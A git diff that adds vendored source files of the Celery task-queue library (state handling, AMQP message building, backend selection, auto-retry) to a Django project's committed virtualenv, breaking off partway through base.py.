+# anything else, so these tools must be at top-level. + + +def _find_option_with_arg(argv, short_opts=None, long_opts=None): + """Search argv for options specifying short and longopt alternatives. + + Returns: + str: value for option found + Raises: + KeyError: if option not found. + """ + for i, arg in enumerate(argv): + if arg.startswith('-'): + if long_opts and arg.startswith('--'): + name, sep, val = arg.partition('=') + if name in long_opts: + return val if sep else argv[i + 1] + if short_opts and arg in short_opts: + return argv[i + 1] + raise KeyError('|'.join(short_opts or [] + long_opts or [])) + + +def _patch_eventlet(): + import eventlet.debug + + eventlet.monkey_patch() + blockdetect = float(os.environ.get('EVENTLET_NOBLOCK', 0)) + if blockdetect: + eventlet.debug.hub_blocking_detection(blockdetect, blockdetect) + + +def _patch_gevent(): + import gevent.monkey + import gevent.signal + + gevent.monkey.patch_all() + + +def maybe_patch_concurrency(argv=None, short_opts=None, + long_opts=None, patches=None): + """Apply eventlet/gevent monkeypatches. + + With short and long opt alternatives that specify the command line + option to set the pool, this makes sure that anything that needs + to be patched is completed as early as possible. + (e.g., eventlet/gevent monkey patches). + """ + argv = argv if argv else sys.argv + short_opts = short_opts if short_opts else ['-P'] + long_opts = long_opts if long_opts else ['--pool'] + patches = patches if patches else {'eventlet': _patch_eventlet, + 'gevent': _patch_gevent} + try: + pool = _find_option_with_arg(argv, short_opts, long_opts) + except KeyError: + pass + else: + try: + patcher = patches[pool] + except KeyError: + pass + else: + patcher() + + # set up eventlet/gevent environments ASAP + from celery import concurrency + if pool in concurrency.get_available_pool_names(): + concurrency.get_implementation(pool) + + +# this just creates a new module, that imports stuff on first attribute +# access. This makes the library faster to use. +old_module, new_module = local.recreate_module( # pragma: no cover + __name__, + by_module={ + 'celery.app': ['Celery', 'bugreport', 'shared_task'], + 'celery.app.task': ['Task'], + 'celery._state': ['current_app', 'current_task'], + 'celery.canvas': [ + 'Signature', 'chain', 'chord', 'chunks', 'group', + 'signature', 'maybe_signature', 'subtask', + 'xmap', 'xstarmap', + ], + 'celery.utils': ['uuid'], + }, + __package__='celery', __file__=__file__, + __path__=__path__, __doc__=__doc__, __version__=__version__, + __author__=__author__, __contact__=__contact__, + __homepage__=__homepage__, __docformat__=__docformat__, local=local, + VERSION=VERSION, SERIES=SERIES, VERSION_BANNER=VERSION_BANNER, + version_info_t=version_info_t, + version_info=version_info, + maybe_patch_concurrency=maybe_patch_concurrency, + _find_option_with_arg=_find_option_with_arg, +) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/__main__.py b/django_lottopy/lib/python3.10/site-packages/celery/__main__.py new file mode 100644 index 00000000..e865ea4b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/__main__.py @@ -0,0 +1,19 @@ +"""Entry-point for the :program:`celery` umbrella command.""" + +import sys + +from . import maybe_patch_concurrency + +__all__ = ('main',) + + +def main(): + """Entrypoint to the ``celery`` umbrella command.""" + if 'multi' not in sys.argv: + maybe_patch_concurrency() + from celery.bin.celery import main as _main + sys.exit(_main()) + + +if __name__ == '__main__': # pragma: no cover + main() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/_state.py b/django_lottopy/lib/python3.10/site-packages/celery/_state.py new file mode 100644 index 00000000..5d3ed5fc --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/_state.py @@ -0,0 +1,197 @@ +"""Internal state. + +This is an internal module containing thread state +like the ``current_app``, and ``current_task``. + +This module shouldn't be used directly. +""" + +import os +import sys +import threading +import weakref + +from celery.local import Proxy +from celery.utils.threads import LocalStack + +__all__ = ( + 'set_default_app', 'get_current_app', 'get_current_task', + 'get_current_worker_task', 'current_app', 'current_task', + 'connect_on_app_finalize', +) + +#: Global default app used when no current app. +default_app = None + +#: Function returning the app provided or the default app if none. +#: +#: The environment variable :envvar:`CELERY_TRACE_APP` is used to +#: trace app leaks. When enabled an exception is raised if there +#: is no active app. +app_or_default = None + +#: List of all app instances (weakrefs), mustn't be used directly. +_apps = weakref.WeakSet() + +#: Global set of functions to call whenever a new app is finalized. +#: Shared tasks, and built-in tasks are created by adding callbacks here. +_on_app_finalizers = set() + +_task_join_will_block = False + + +def connect_on_app_finalize(callback): + """Connect callback to be called when any app is finalized.""" + _on_app_finalizers.add(callback) + return callback + + +def _announce_app_finalized(app): + callbacks = set(_on_app_finalizers) + for callback in callbacks: + callback(app) + + +def _set_task_join_will_block(blocks): + global _task_join_will_block + _task_join_will_block = blocks + + +def task_join_will_block(): + return _task_join_will_block + + +class _TLS(threading.local): + #: Apps with the :attr:`~celery.app.base.BaseApp.set_as_current` attribute + #: sets this, so it will always contain the last instantiated app, + #: and is the default app returned by :func:`app_or_default`. + current_app = None + + +_tls = _TLS() + +_task_stack = LocalStack() + + +#: Function used to push a task to the thread local stack +#: keeping track of the currently executing task. +#: You must remember to pop the task after. +push_current_task = _task_stack.push + +#: Function used to pop a task from the thread local stack +#: keeping track of the currently executing task. +pop_current_task = _task_stack.pop + + +def set_default_app(app): + """Set default app.""" + global default_app + default_app = app + + +def _get_current_app(): + if default_app is None: + #: creates the global fallback app instance. + from celery.app.base import Celery + set_default_app(Celery( + 'default', fixups=[], set_as_current=False, + loader=os.environ.get('CELERY_LOADER') or 'default', + )) + return _tls.current_app or default_app + + +def _set_current_app(app): + _tls.current_app = app + + +if os.environ.get('C_STRICT_APP'): # pragma: no cover + def get_current_app(): + """Return the current app.""" + raise RuntimeError('USES CURRENT APP') +elif os.environ.get('C_WARN_APP'): # pragma: no cover + def get_current_app(): + import traceback + print('-- USES CURRENT_APP', file=sys.stderr) # + + traceback.print_stack(file=sys.stderr) + return _get_current_app() +else: + get_current_app = _get_current_app + + +def get_current_task(): + """Currently executing task.""" + return _task_stack.top + + +def get_current_worker_task(): + """Currently executing task, that was applied by the worker. + + This is used to differentiate between the actual task + executed by the worker and any task that was called within + a task (using ``task.__call__`` or ``task.apply``) + """ + for task in reversed(_task_stack.stack): + if not task.request.called_directly: + return task + + +#: Proxy to current app. +current_app = Proxy(get_current_app) + +#: Proxy to current task. +current_task = Proxy(get_current_task) + + +def _register_app(app): + _apps.add(app) + + +def _deregister_app(app): + _apps.discard(app) + + +def _get_active_apps(): + return _apps + + +def _app_or_default(app=None): + if app is None: + return get_current_app() + return app + + +def _app_or_default_trace(app=None): # pragma: no cover + from traceback import print_stack + try: + from billiard.process import current_process + except ImportError: + current_process = None + if app is None: + if getattr(_tls, 'current_app', None): + print('-- RETURNING TO CURRENT APP --') # + + print_stack() + return _tls.current_app + if not current_process or current_process()._name == 'MainProcess': + raise Exception('DEFAULT APP') + print('-- RETURNING TO DEFAULT APP --') # + + print_stack() + return default_app + return app + + +def enable_trace(): + """Enable tracing of app instances.""" + global app_or_default + app_or_default = _app_or_default_trace + + +def disable_trace(): + """Disable tracing of app instances.""" + global app_or_default + app_or_default = _app_or_default + + +if os.environ.get('CELERY_TRACE_APP'): # pragma: no cover + enable_trace() +else: + disable_trace() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/app/__init__.py new file mode 100644 index 00000000..2bb1c13f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/__init__.py @@ -0,0 +1,77 @@ +"""Celery Application.""" +from celery import _state +from celery._state import (app_or_default, disable_trace, enable_trace, + pop_current_task, push_current_task) +from celery.local import Proxy + +from .base import Celery +from .utils import AppPickler + +__all__ = ( + 'Celery', 'AppPickler', 'app_or_default', 'default_app', + 'bugreport', 'enable_trace', 'disable_trace', 'shared_task', + 'push_current_task', 'pop_current_task', +) + +#: Proxy always returning the app set as default. +default_app = Proxy(lambda: _state.default_app) + + +def bugreport(app=None): + """Return information useful in bug reports.""" + return (app or _state.get_current_app()).bugreport() + + +def shared_task(*args, **kwargs): + """Create shared task (decorator). + + This can be used by library authors to create tasks that'll work + for any app environment. + + Returns: + ~celery.local.Proxy: A proxy that always takes the task from the + current apps task registry. + + Example: + + >>> from celery import Celery, shared_task + >>> @shared_task + ... def add(x, y): + ... return x + y + ... + >>> app1 = Celery(broker='amqp://') + >>> add.app is app1 + True + >>> app2 = Celery(broker='redis://') + >>> add.app is app2 + True + """ + def create_shared_task(**options): + + def __inner(fun): + name = options.get('name') + # Set as shared task so that unfinalized apps, + # and future apps will register a copy of this task. + _state.connect_on_app_finalize( + lambda app: app._task_from_fun(fun, **options) + ) + + # Force all finalized apps to take this task as well. + for app in _state._get_active_apps(): + if app.finalized: + with app._finalize_mutex: + app._task_from_fun(fun, **options) + + # Return a proxy that always gets the task from the current + # apps task registry. + def task_by_cons(): + app = _state.get_current_app() + return app.tasks[ + name or app.gen_task_name(fun.__name__, fun.__module__) + ] + return Proxy(task_by_cons) + return __inner + + if len(args) == 1 and callable(args[0]): + return create_shared_task(**kwargs)(args[0]) + return create_shared_task(*args, **kwargs) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/amqp.py b/django_lottopy/lib/python3.10/site-packages/celery/app/amqp.py new file mode 100644 index 00000000..10747eed --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/amqp.py @@ -0,0 +1,607 @@ +"""Sending/Receiving Messages (Kombu integration).""" +import numbers +from collections import namedtuple +from collections.abc import Mapping +from datetime import timedelta +from weakref import WeakValueDictionary + +from kombu import Connection, Consumer, Exchange, Producer, Queue, pools +from kombu.common import Broadcast +from kombu.utils.functional import maybe_list +from kombu.utils.objects import cached_property + +from celery import signals +from celery.utils.nodenames import anon_nodename +from celery.utils.saferepr import saferepr +from celery.utils.text import indent as textindent +from celery.utils.time import maybe_make_aware + +from . import routes as _routes + +__all__ = ('AMQP', 'Queues', 'task_message') + +#: earliest date supported by time.mktime. +INT_MIN = -2147483648 + +#: Human readable queue declaration. +QUEUE_FORMAT = """ +.> {0.name:<16} exchange={0.exchange.name}({0.exchange.type}) \ +key={0.routing_key} +""" + +task_message = namedtuple('task_message', + ('headers', 'properties', 'body', 'sent_event')) + + +def utf8dict(d, encoding='utf-8'): + return {k.decode(encoding) if isinstance(k, bytes) else k: v + for k, v in d.items()} + + +class Queues(dict): + """Queue name⇒ declaration mapping. + + Arguments: + queues (Iterable): Initial list/tuple or dict of queues. + create_missing (bool): By default any unknown queues will be + added automatically, but if this flag is disabled the occurrence + of unknown queues in `wanted` will raise :exc:`KeyError`. + max_priority (int): Default x-max-priority for queues with none set. + """ + + #: If set, this is a subset of queues to consume from. + #: The rest of the queues are then used for routing only. + _consume_from = None + + def __init__(self, queues=None, default_exchange=None, + create_missing=True, autoexchange=None, + max_priority=None, default_routing_key=None): + super().__init__() + self.aliases = WeakValueDictionary() + self.default_exchange = default_exchange + self.default_routing_key = default_routing_key + self.create_missing = create_missing + self.autoexchange = Exchange if autoexchange is None else autoexchange + self.max_priority = max_priority + if queues is not None and not isinstance(queues, Mapping): + queues = {q.name: q for q in queues} + queues = queues or {} + for name, q in queues.items(): + self.add(q) if isinstance(q, Queue) else self.add_compat(name, **q) + + def __getitem__(self, name): + try: + return self.aliases[name] + except KeyError: + return super().__getitem__(name) + + def __setitem__(self, name, queue): + if self.default_exchange and not queue.exchange: + queue.exchange = self.default_exchange + super().__setitem__(name, queue) + if queue.alias: + self.aliases[queue.alias] = queue + + def __missing__(self, name): + if self.create_missing: + return self.add(self.new_missing(name)) + raise KeyError(name) + + def add(self, queue, **kwargs): + """Add new queue. + + The first argument can either be a :class:`kombu.Queue` instance, + or the name of a queue. If the former the rest of the keyword + arguments are ignored, and options are simply taken from the queue + instance. + + Arguments: + queue (kombu.Queue, str): Queue to add. + exchange (kombu.Exchange, str): + if queue is str, specifies exchange name. + routing_key (str): if queue is str, specifies binding key. + exchange_type (str): if queue is str, specifies type of exchange. + **options (Any): Additional declaration options used when + queue is a str. + """ + if not isinstance(queue, Queue): + return self.add_compat(queue, **kwargs) + return self._add(queue) + + def add_compat(self, name, **options): + # docs used to use binding_key as routing key + options.setdefault('routing_key', options.get('binding_key')) + if options['routing_key'] is None: + options['routing_key'] = name + return self._add(Queue.from_dict(name, **options)) + + def _add(self, queue): + if queue.exchange is None or queue.exchange.name == '': + queue.exchange = self.default_exchange + if not queue.routing_key: + queue.routing_key = self.default_routing_key + if self.max_priority is not None: + if queue.queue_arguments is None: + queue.queue_arguments = {} + self._set_max_priority(queue.queue_arguments) + self[queue.name] = queue + return queue + + def _set_max_priority(self, args): + if 'x-max-priority' not in args and self.max_priority is not None: + return args.update({'x-max-priority': self.max_priority}) + + def format(self, indent=0, indent_first=True): + """Format routing table into string for log dumps.""" + active = self.consume_from + if not active: + return '' + info = [QUEUE_FORMAT.strip().format(q) + for _, q in sorted(active.items())] + if indent_first: + return textindent('\n'.join(info), indent) + return info[0] + '\n' + textindent('\n'.join(info[1:]), indent) + + def select_add(self, queue, **kwargs): + """Add new task queue that'll be consumed from. + + The queue will be active even when a subset has been selected + using the :option:`celery worker -Q` option. + """ + q = self.add(queue, **kwargs) + if self._consume_from is not None: + self._consume_from[q.name] = q + return q + + def select(self, include): + """Select a subset of currently defined queues to consume from. + + Arguments: + include (Sequence[str], str): Names of queues to consume from. + """ + if include: + self._consume_from = { + name: self[name] for name in maybe_list(include) + } + + def deselect(self, exclude): + """Deselect queues so that they won't be consumed from. + + Arguments: + exclude (Sequence[str], str): Names of queues to avoid + consuming from. + """ + if exclude: + exclude = maybe_list(exclude) + if self._consume_from is None: + # using all queues + return self.select(k for k in self if k not in exclude) + # using selection + for queue in exclude: + self._consume_from.pop(queue, None) + + def new_missing(self, name): + return Queue(name, self.autoexchange(name), name) + + @property + def consume_from(self): + if self._consume_from is not None: + return self._consume_from + return self + + +class AMQP: + """App AMQP API: app.amqp.""" + + Connection = Connection + Consumer = Consumer + Producer = Producer + + #: compat alias to Connection + BrokerConnection = Connection + + queues_cls = Queues + + #: Cached and prepared routing table. + _rtable = None + + #: Underlying producer pool instance automatically + #: set by the :attr:`producer_pool`. + _producer_pool = None + + # Exchange class/function used when defining automatic queues. + # For example, you can use ``autoexchange = lambda n: None`` to use the + # AMQP default exchange: a shortcut to bypass routing + # and instead send directly to the queue named in the routing key. + autoexchange = None + + #: Max size of positional argument representation used for + #: logging purposes. + argsrepr_maxsize = 1024 + + #: Max size of keyword argument representation used for logging purposes. + kwargsrepr_maxsize = 1024 + + def __init__(self, app): + self.app = app + self.task_protocols = { + 1: self.as_task_v1, + 2: self.as_task_v2, + } + self.app._conf.bind_to(self._handle_conf_update) + + @cached_property + def create_task_message(self): + return self.task_protocols[self.app.conf.task_protocol] + + @cached_property + def send_task_message(self): + return self._create_task_sender() + + def Queues(self, queues, create_missing=None, + autoexchange=None, max_priority=None): + # Create new :class:`Queues` instance, using queue defaults + # from the current configuration. + conf = self.app.conf + default_routing_key = conf.task_default_routing_key + if create_missing is None: + create_missing = conf.task_create_missing_queues + if max_priority is None: + max_priority = conf.task_queue_max_priority + if not queues and conf.task_default_queue: + queues = (Queue(conf.task_default_queue, + exchange=self.default_exchange, + routing_key=default_routing_key),) + autoexchange = (self.autoexchange if autoexchange is None + else autoexchange) + return self.queues_cls( + queues, self.default_exchange, create_missing, + autoexchange, max_priority, default_routing_key, + ) + + def Router(self, queues=None, create_missing=None): + """Return the current task router.""" + return _routes.Router(self.routes, queues or self.queues, + self.app.either('task_create_missing_queues', + create_missing), app=self.app) + + def flush_routes(self): + self._rtable = _routes.prepare(self.app.conf.task_routes) + + def TaskConsumer(self, channel, queues=None, accept=None, **kw): + if accept is None: + accept = self.app.conf.accept_content + return self.Consumer( + channel, accept=accept, + queues=queues or list(self.queues.consume_from.values()), + **kw + ) + + def as_task_v2(self, task_id, name, args=None, kwargs=None, + countdown=None, eta=None, group_id=None, group_index=None, + expires=None, retries=0, chord=None, + callbacks=None, errbacks=None, reply_to=None, + time_limit=None, soft_time_limit=None, + create_sent_event=False, root_id=None, parent_id=None, + shadow=None, chain=None, now=None, timezone=None, + origin=None, ignore_result=False, argsrepr=None, kwargsrepr=None): + args = args or () + kwargs = kwargs or {} + if not isinstance(args, (list, tuple)): + raise TypeError('task args must be a list or tuple') + if not isinstance(kwargs, Mapping): + raise TypeError('task keyword arguments must be a mapping') + if countdown: # convert countdown to ETA + self._verify_seconds(countdown, 'countdown') + now = now or self.app.now() + timezone = timezone or self.app.timezone + eta = maybe_make_aware( + now + timedelta(seconds=countdown), tz=timezone, + ) + if isinstance(expires, numbers.Real): + self._verify_seconds(expires, 'expires') + now = now or self.app.now() + timezone = timezone or self.app.timezone + expires = maybe_make_aware( + now + timedelta(seconds=expires), tz=timezone, + ) + if not isinstance(eta, str): + eta = eta and eta.isoformat() + # If we retry a task `expires` will already be ISO8601-formatted. + if not isinstance(expires, str): + expires = expires and expires.isoformat() + + if argsrepr is None: + argsrepr = saferepr(args, self.argsrepr_maxsize) + if kwargsrepr is None: + kwargsrepr = saferepr(kwargs, self.kwargsrepr_maxsize) + + if not root_id: # empty root_id defaults to task_id + root_id = task_id + + return task_message( + headers={ + 'lang': 'py', + 'task': name, + 'id': task_id, + 'shadow': shadow, + 'eta': eta, + 'expires': expires, + 'group': group_id, + 'group_index': group_index, + 'retries': retries, + 'timelimit': [time_limit, soft_time_limit], + 'root_id': root_id, + 'parent_id': parent_id, + 'argsrepr': argsrepr, + 'kwargsrepr': kwargsrepr, + 'origin': origin or anon_nodename(), + 'ignore_result': ignore_result, + }, + properties={ + 'correlation_id': task_id, + 'reply_to': reply_to or '', + }, + body=( + args, kwargs, { + 'callbacks': callbacks, + 'errbacks': errbacks, + 'chain': chain, + 'chord': chord, + }, + ), + sent_event={ + 'uuid': task_id, + 'root_id': root_id, + 'parent_id': parent_id, + 'name': name, + 'args': argsrepr, + 'kwargs': kwargsrepr, + 'retries': retries, + 'eta': eta, + 'expires': expires, + } if create_sent_event else None, + ) + + def as_task_v1(self, task_id, name, args=None, kwargs=None, + countdown=None, eta=None, group_id=None, group_index=None, + expires=None, retries=0, + chord=None, callbacks=None, errbacks=None, reply_to=None, + time_limit=None, soft_time_limit=None, + create_sent_event=False, root_id=None, parent_id=None, + shadow=None, now=None, timezone=None, + **compat_kwargs): + args = args or () + kwargs = kwargs or {} + utc = self.utc + if not isinstance(args, (list, tuple)): + raise TypeError('task args must be a list or tuple') + if not isinstance(kwargs, Mapping): + raise TypeError('task keyword arguments must be a mapping') + if countdown: # convert countdown to ETA + self._verify_seconds(countdown, 'countdown') + now = now or self.app.now() + eta = now + timedelta(seconds=countdown) + if isinstance(expires, numbers.Real): + self._verify_seconds(expires, 'expires') + now = now or self.app.now() + expires = now + timedelta(seconds=expires) + eta = eta and eta.isoformat() + expires = expires and expires.isoformat() + + return task_message( + headers={}, + properties={ + 'correlation_id': task_id, + 'reply_to': reply_to or '', + }, + body={ + 'task': name, + 'id': task_id, + 'args': args, + 'kwargs': kwargs, + 'group': group_id, + 'group_index': group_index, + 'retries': retries, + 'eta': eta, + 'expires': expires, + 'utc': utc, + 'callbacks': callbacks, + 'errbacks': errbacks, + 'timelimit': (time_limit, soft_time_limit), + 'taskset': group_id, + 'chord': chord, + }, + sent_event={ + 'uuid': task_id, + 'name': name, + 'args': saferepr(args), + 'kwargs': saferepr(kwargs), + 'retries': retries, + 'eta': eta, + 'expires': expires, + } if create_sent_event else None, + ) + + def _verify_seconds(self, s, what): + if s < INT_MIN: + raise ValueError(f'{what} is out of range: {s!r}') + return s + + def _create_task_sender(self): + default_retry = self.app.conf.task_publish_retry + default_policy = self.app.conf.task_publish_retry_policy + default_delivery_mode = self.app.conf.task_default_delivery_mode + default_queue = self.default_queue + queues = self.queues + send_before_publish = signals.before_task_publish.send + before_receivers = signals.before_task_publish.receivers + send_after_publish = signals.after_task_publish.send + after_receivers = signals.after_task_publish.receivers + + send_task_sent = signals.task_sent.send # XXX compat + sent_receivers = signals.task_sent.receivers + + default_evd = self._event_dispatcher + default_exchange = self.default_exchange + + default_rkey = self.app.conf.task_default_routing_key + default_serializer = self.app.conf.task_serializer + default_compressor = self.app.conf.result_compression + + def send_task_message(producer, name, message, + exchange=None, routing_key=None, queue=None, + event_dispatcher=None, + retry=None, retry_policy=None, + serializer=None, delivery_mode=None, + compression=None, declare=None, + headers=None, exchange_type=None, **kwargs): + retry = default_retry if retry is None else retry + headers2, properties, body, sent_event = message + if headers: + headers2.update(headers) + if kwargs: + properties.update(kwargs) + + qname = queue + if queue is None and exchange is None: + queue = default_queue + if queue is not None: + if isinstance(queue, str): + qname, queue = queue, queues[queue] + else: + qname = queue.name + + if delivery_mode is None: + try: + delivery_mode = queue.exchange.delivery_mode + except AttributeError: + pass + delivery_mode = delivery_mode or default_delivery_mode + + if exchange_type is None: + try: + exchange_type = queue.exchange.type + except AttributeError: + exchange_type = 'direct' + + # convert to anon-exchange, when exchange not set and direct ex. + if (not exchange or not routing_key) and exchange_type == 'direct': + exchange, routing_key = '', qname + elif exchange is None: + # not topic exchange, and exchange not undefined + exchange = queue.exchange.name or default_exchange + routing_key = routing_key or queue.routing_key or default_rkey + if declare is None and queue and not isinstance(queue, Broadcast): + declare = [queue] + + # merge default and custom policy + retry = default_retry if retry is None else retry + _rp = (dict(default_policy, **retry_policy) if retry_policy + else default_policy) + + if before_receivers: + send_before_publish( + sender=name, body=body, + exchange=exchange, routing_key=routing_key, + declare=declare, headers=headers2, + properties=properties, retry_policy=retry_policy, + ) + ret = producer.publish( + body, + exchange=exchange, + routing_key=routing_key, + serializer=serializer or default_serializer, + compression=compression or default_compressor, + retry=retry, retry_policy=_rp, + delivery_mode=delivery_mode, declare=declare, + headers=headers2, + **properties + ) + if after_receivers: + send_after_publish(sender=name, body=body, headers=headers2, + exchange=exchange, routing_key=routing_key) + if sent_receivers: # XXX deprecated + if isinstance(body, tuple): # protocol version 2 + send_task_sent( + sender=name, task_id=headers2['id'], task=name, + args=body[0], kwargs=body[1], + eta=headers2['eta'], taskset=headers2['group'], + ) + else: # protocol version 1 + send_task_sent( + sender=name, task_id=body['id'], task=name, + args=body['args'], kwargs=body['kwargs'], + eta=body['eta'], taskset=body['taskset'], + ) + if sent_event: + evd = event_dispatcher or default_evd + exname = exchange + if isinstance(exname, Exchange): + exname = exname.name + sent_event.update({ + 'queue': qname, + 'exchange': exname, + 'routing_key': routing_key, + }) + evd.publish('task-sent', sent_event, + producer, retry=retry, retry_policy=retry_policy) + return ret + return send_task_message + + @cached_property + def default_queue(self): + return self.queues[self.app.conf.task_default_queue] + + @cached_property + def queues(self): + """Queue name⇒ declaration mapping.""" + return self.Queues(self.app.conf.task_queues) + + @queues.setter + def queues(self, queues): + return self.Queues(queues) + + @property + def routes(self): + if self._rtable is None: + self.flush_routes() + return self._rtable + + @cached_property + def router(self): + return self.Router() + + @router.setter + def router(self, value): + return value + + @property + def producer_pool(self): + if self._producer_pool is None: + self._producer_pool = pools.producers[ + self.app.connection_for_write()] + self._producer_pool.limit = self.app.pool.limit + return self._producer_pool + publisher_pool = producer_pool # compat alias + + @cached_property + def default_exchange(self): + return Exchange(self.app.conf.task_default_exchange, + self.app.conf.task_default_exchange_type) + + @cached_property + def utc(self): + return self.app.conf.enable_utc + + @cached_property + def _event_dispatcher(self): + # We call Dispatcher.publish with a custom producer + # so don't need the diuspatcher to be enabled. + return self.app.events.Dispatcher(enabled=False) + + def _handle_conf_update(self, *args, **kwargs): + if ('task_routes' in kwargs or 'task_routes' in args): + self.flush_routes() + self.router = self.Router() + return diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/annotations.py b/django_lottopy/lib/python3.10/site-packages/celery/app/annotations.py new file mode 100644 index 00000000..1c0631f7 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/annotations.py @@ -0,0 +1,52 @@ +"""Task Annotations. + +Annotations is a nice term for monkey-patching task classes +in the configuration. + +This prepares and performs the annotations in the +:setting:`task_annotations` setting. +""" +from celery.utils.functional import firstmethod, mlazy +from celery.utils.imports import instantiate + +_first_match = firstmethod('annotate') +_first_match_any = firstmethod('annotate_any') + +__all__ = ('MapAnnotation', 'prepare', 'resolve_all') + + +class MapAnnotation(dict): + """Annotation map: task_name => attributes.""" + + def annotate_any(self): + try: + return dict(self['*']) + except KeyError: + pass + + def annotate(self, task): + try: + return dict(self[task.name]) + except KeyError: + pass + + +def prepare(annotations): + """Expand the :setting:`task_annotations` setting.""" + def expand_annotation(annotation): + if isinstance(annotation, dict): + return MapAnnotation(annotation) + elif isinstance(annotation, str): + return mlazy(instantiate, annotation) + return annotation + + if annotations is None: + return () + elif not isinstance(annotations, (list, tuple)): + annotations = (annotations,) + return [expand_annotation(anno) for anno in annotations] + + +def resolve_all(anno, task): + """Resolve all pending annotations.""" + return (x for x in (_first_match(anno, task), _first_match_any(anno)) if x) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/autoretry.py b/django_lottopy/lib/python3.10/site-packages/celery/app/autoretry.py new file mode 100644 index 00000000..a5fe700b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/autoretry.py @@ -0,0 +1,60 @@ +"""Tasks auto-retry functionality.""" +from vine.utils import wraps + +from celery.exceptions import Ignore, Retry +from celery.utils.time import get_exponential_backoff_interval + + +def add_autoretry_behaviour(task, **options): + """Wrap task's `run` method with auto-retry functionality.""" + autoretry_for = tuple( + options.get('autoretry_for', + getattr(task, 'autoretry_for', ())) + ) + retry_kwargs = options.get( + 'retry_kwargs', getattr(task, 'retry_kwargs', {}) + ) + retry_backoff = int( + options.get('retry_backoff', + getattr(task, 'retry_backoff', False)) + ) + retry_backoff_max = int( + options.get('retry_backoff_max', + getattr(task, 'retry_backoff_max', 600)) + ) + retry_jitter = options.get( + 'retry_jitter', getattr(task, 'retry_jitter', True) + ) + + if autoretry_for and not hasattr(task, '_orig_run'): + + @wraps(task.run) + def run(*args, **kwargs): + try: + return task._orig_run(*args, **kwargs) + except Ignore: + # If Ignore signal occurs task shouldn't be retried, + # even if it suits autoretry_for list + raise + except Retry: + raise + except autoretry_for as exc: + if retry_backoff: + retry_kwargs['countdown'] = \ + get_exponential_backoff_interval( + factor=retry_backoff, + retries=task.request.retries, + maximum=retry_backoff_max, + full_jitter=retry_jitter) + # Override max_retries + if hasattr(task, 'override_max_retries'): + retry_kwargs['max_retries'] = getattr(task, + 'override_max_retries', + task.max_retries) + ret = task.retry(exc=exc, **retry_kwargs) + # Stop propagation + if hasattr(task, 'override_max_retries'): + delattr(task, 'override_max_retries') + raise ret + + task._orig_run, task.run = task.run, run diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/backends.py b/django_lottopy/lib/python3.10/site-packages/celery/app/backends.py new file mode 100644 index 00000000..ab40ccae --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/backends.py @@ -0,0 +1,69 @@ +"""Backend selection.""" +import sys +import types + +from celery._state import current_app +from celery.exceptions import ImproperlyConfigured, reraise +from celery.utils.imports import load_extension_class_names, symbol_by_name + +__all__ = ('by_name', 'by_url') + +UNKNOWN_BACKEND = """ +Unknown result backend: {0!r}. Did you spell that correctly? ({1!r}) +""" + +BACKEND_ALIASES = { + 'amqp': 'celery.backends.amqp:AMQPBackend', + 'rpc': 'celery.backends.rpc.RPCBackend', + 'cache': 'celery.backends.cache:CacheBackend', + 'redis': 'celery.backends.redis:RedisBackend', + 'rediss': 'celery.backends.redis:RedisBackend', + 'sentinel': 'celery.backends.redis:SentinelBackend', + 'mongodb': 'celery.backends.mongodb:MongoBackend', + 'db': 'celery.backends.database:DatabaseBackend', + 'database': 'celery.backends.database:DatabaseBackend', + 'elasticsearch': 'celery.backends.elasticsearch:ElasticsearchBackend', + 'cassandra': 'celery.backends.cassandra:CassandraBackend', + 'couchbase': 'celery.backends.couchbase:CouchbaseBackend', + 'couchdb': 'celery.backends.couchdb:CouchBackend', + 'cosmosdbsql': 'celery.backends.cosmosdbsql:CosmosDBSQLBackend', + 'riak': 'celery.backends.riak:RiakBackend', + 'file': 'celery.backends.filesystem:FilesystemBackend', + 'disabled': 'celery.backends.base:DisabledBackend', + 'consul': 'celery.backends.consul:ConsulBackend', + 'dynamodb': 'celery.backends.dynamodb:DynamoDBBackend', + 'azureblockblob': 'celery.backends.azureblockblob:AzureBlockBlobBackend', + 'arangodb': 'celery.backends.arangodb:ArangoDbBackend', + 's3': 'celery.backends.s3:S3Backend', +} + + +def by_name(backend=None, loader=None, + extension_namespace='celery.result_backends'): + """Get backend class by name/alias.""" + backend = backend or 'disabled' + loader = loader or current_app.loader + aliases = dict(BACKEND_ALIASES, **loader.override_backends) + aliases.update(load_extension_class_names(extension_namespace)) + try: + cls = symbol_by_name(backend, aliases) + except ValueError as exc: + reraise(ImproperlyConfigured, ImproperlyConfigured( + UNKNOWN_BACKEND.strip().format(backend, exc)), sys.exc_info()[2]) + if isinstance(cls, types.ModuleType): + raise ImproperlyConfigured(UNKNOWN_BACKEND.strip().format( + backend, 'is a Python module, not a backend class.')) + return cls + + +def by_url(backend=None, loader=None): + """Get backend class by URL.""" + url = None + if backend and '://' in backend: + url = backend + scheme, _, _ = url.partition('://') + if '+' in scheme: + backend, url = url.split('+', 1) + else: + backend = scheme + return by_name(backend, loader), url diff --git a/django_lottopy/lib/python3.10/site-packages/celery/app/base.py b/django_lottopy/lib/python3.10/site-packages/celery/app/base.py new file mode 100644 index 00000000..671fc846 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/app/base.py @@ -0,0 +1,1325 @@ +"""Actual App instance implementation.""" +import inspect +import os +import sys +import threading +import warnings +from collections import UserDict, defaultdict, deque +from datetime import datetime +from operator import attrgetter + +from click.exceptions import Exit +from kombu import pools +from kombu.clocks import LamportClock +from kombu.common import oid_from +from kombu.utils.compat import register_after_fork +from kombu.utils.objects import cached_property +from kombu.utils.uuid import uuid +from vine import starpromise + +from celery import platforms, signals +from celery._state import (_announce_app_finalized, _deregister_app, + _register_app, 